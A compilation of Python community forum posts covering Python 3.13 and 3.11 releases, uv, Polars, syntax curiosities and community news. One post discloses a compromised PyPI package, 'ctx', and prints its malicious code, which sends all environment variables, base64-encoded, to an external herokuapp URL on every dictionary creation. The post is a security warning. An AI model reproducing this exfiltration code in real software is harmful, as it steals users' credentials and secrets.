I have been going through Wikileaks and exploring Python usage within the CIA.

They have coding standards and write Python software with end-user guides.

They also have some curious ways of doing things, tests for example.

They also like to work in internet-disconnected environments.

They based their conventions on a modified Google Python Style Guide, with practical advice.

Compiled my findings.

There are a few changes that didn't get much attention in the last releases, and one of them is that comprehensions and lambdas can now be used in annotations (the place where you put type hints).

As the article mentions, this came from a bug tickets that requested this to work:

class name_2[*name_5, name_3: int]:
    (name_3 := name_4)

    class name_4[name_5: name_5]((name_4 for name_5 in name_0 if name_3), name_2 if name_3 else name_0):
        pass

Here we have a walrus, unpacking, type vars and a comprehension all in one. I tried it in 3.13 (you gotta create a few variables), and yes, it is now valid syntax.

I don't think I have any use for it (except the typevar, it's pretty sweet), but I pity the person that will have to read that one day in a real code base :)

https://astral.sh/blog/uv-unified-python-packaging

This is a new release of uv that moves it beyond just a pip alternative. There's cross platform lock files, tool management, Python installation, script execution and more.

There was a post here recently about an update to the CTX package. A simple package that allow you to access dictionary items using the dot notation (a_dict['key'] becomes a_dict.key). The post is here and OP was SocketPuppets

That package had not changed in 8 years. The OP said it was recently updated, and on PyPI it was updated as of May 21st. But the Github repo does not reflect any changes (it still 8 years old). When asked about it OP said it was copied to a corporate repo and that he would update the original repo.

Out of curiosity I downloaded the source code from PyPI and look what I found! It seems like every time you create a dictionary it sends all your environment variables to a URL. That's not kosher.

    def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

I'm not a professional python programmer, just a retired, old CS graduate. Can someone raise that up to the proper "authorities" please.

Thanks.

uv is rapidly maturing as an open-source tool for Python project management, reaching a full-featured capabilities with recent versions 0.4.27 and 0.5.0, making it a strong alternative to Poetry, pyenv, and pipx. However, concerns exist over its long-term stability and licensing, given Astral's venture funding position.

https://open.substack.com/pub/martynassubonis/p/python-project-management-primer-a55

https://www.python.org/downloads/release/python-3130/

This is the stable release of Python 3.13.0

Python 3.13.0 is the newest major release of the Python programming language, and it contains many new features and optimizations compared to Python 3.12. (Compared to the last release candidate, 3.13.0rc3, 3.13.0 contains two small bug and some documentation and testing changes.)

Major new features of the 3.13 series, compared to 3.12

Some of the new major new features and changes in Python 3.13 are:

New features

• A new and improved interactive interpreter, based on PyPy's, featuring multi-line editing and color support, as well as colorized exception tracebacks.
• An experimental free-threaded build mode, which disables the Global Interpreter Lock, allowing threads to run more concurrently. The build mode is available as an experimental feature in the Windows and macOS installers as well.
• A preliminary, experimental JIT, providing the ground work for significant performance improvements.
• The locals() builtin function (and its C equivalent) now has well-defined semantics when mutating the returned mapping, which allows debuggers to operate more consistently.
• A modified version of mimalloc is now included, optional but enabled by default if supported by the platform, and required for the free-threaded build mode.
• Docstrings now have their leading indentation stripped, reducing memory use and the size of .pyc files. (Most tools handling docstrings already strip leading indentation.)
• The dbm module has a new dbm.sqlite3 backend that is used by default when creating new files.
• The minimum supported macOS version was changed from 10.9 to 10.13 (High Sierra). Older macOS versions will not be supported going forward.
• WASI is now a Tier 2 supported platform. Emscripten is no longer an officially supported platform (but Pyodide continues to support Emscripten).
• iOS is now a Tier 3 supported platform.
• Android is now a Tier 3 supported platform.

Typing

• Support for type defaults in type parameters.
• A new type narrowing annotation, typing.TypeIs.
• A new annotation for read-only items in TypeDicts.
• A new annotation for marking deprecations in the type system.

Removals and new deprecations

• PEP 594 (Removing dead batteries from the standard library) scheduled removals of many deprecated modules: aifc, audioop, chunk, cgi, cgitb, crypt, imghdr, mailcap, msilib, nis, nntplib, ossaudiodev, pipes, sndhdr, spwd, sunau, telnetlib, uu, xdrlib, lib2to3.
• Many other removals of deprecated classes, functions and methods in various standard library modules.
• C API removals and deprecations. (Some removals present in alpha 1 were reverted in alpha 2, as the removals were deemed too disruptive at this time.)
• New deprecations, most of which are scheduled for removal from Python 3.15 or 3.16.

More details at https://docs.python.org/3.13/whatsnew/3.13.html

https://www.python.org/downloads/release/python-3110/

Some highlights from the release notes:

PERFORMANCE: 10-60% faster code, for free!

ERROR HANDLING: Exception groups and except* syntax. Also includes precise error locations in tracebacks.

ASYNCIO: Task groups

TOML: Ability to parse TOML is part of the standard library.

REGEX: Atomic grouping and possessive quantifiers are now supported

Plus changes to typing and a lot more. Congrats to everyone that worked hard to make this happen. Your work is helping millions of people to build awesome stuff. 🎉

I am really happy to share that we released Python Polars 1.0.

Read more in our blog post. To help you upgrade, you can find an upgrade guide here. If you want see all changes, here is the full changelog.

Polars is a columnar, multi-threaded query engine implemented in Rust that focusses on DataFrame front-ends. It's main interface is Python. It achieves high performance data-processing by query optimization, vectorized kernels and parallelism.

Finally, I want to thank everyone who helped, contributed, or used Polars!

https://www.hindustantimes.com/business/google-layoffs-sundar-pichai-led-company-fires-entire-python-team-for-cheaper-labour-101714379453603.html

Are there any ramifications for the Python community outside of Google?

Exciting news here: https://tonybaloney.github.io/posts/python-gets-a-jit.html

This is just the first step for Python to enable optimizations not possible now.

Do not expect much from it since this is a first step to optimization. In the future this JIT will enable further performance improvements not possible now.

A new kind of Progress Bar for Python, with some very cool animations!

I've made a new kind of progress bar for python! With some very cool animations and a smorgasbord of built-in styles!

https://github.com/rsalmei/alive-progress

​

The spinners and unknown bars have a plethora of effects!

​

The bars themselves also have several styles.

​

It also includes cool zero-hassle print and logging hooks, which are always enabled!

​

To use it, just "pip install alive-progress" and you're good to go!
More details in https://github.com/rsalmei/alive-progress

That's it, hope you like it!

Recently, Tim Peters received a three-month suspension from Python spaces.

I've written a blog post about why I consider this a poor idea.

https://chrismcdonough.substack.com/p/the-shameful-defenestration-of-tim

so long story short you won't be able to run pip install x anymore. The reason why the command doesn’t work in Ubuntu 23.04 is because of an intentional shift in policy to avoid conflicts between the Python package manager(pip) and Ubuntu’s underlying APT. You can now only use pip by creating a virtual environment with venv. My question is, is this a good thing or a bad thing? is it a good move from Ubuntu's team or not? being able to use pip only from a virtual environment. idk what do you guys think about the whole thing?

Together with NVIDIA RAPIDS we (the Polars team) have released GPU-acceleration today. Read more about the implementation and what you can expect:

https://pola.rs/posts/gpu-engine-release/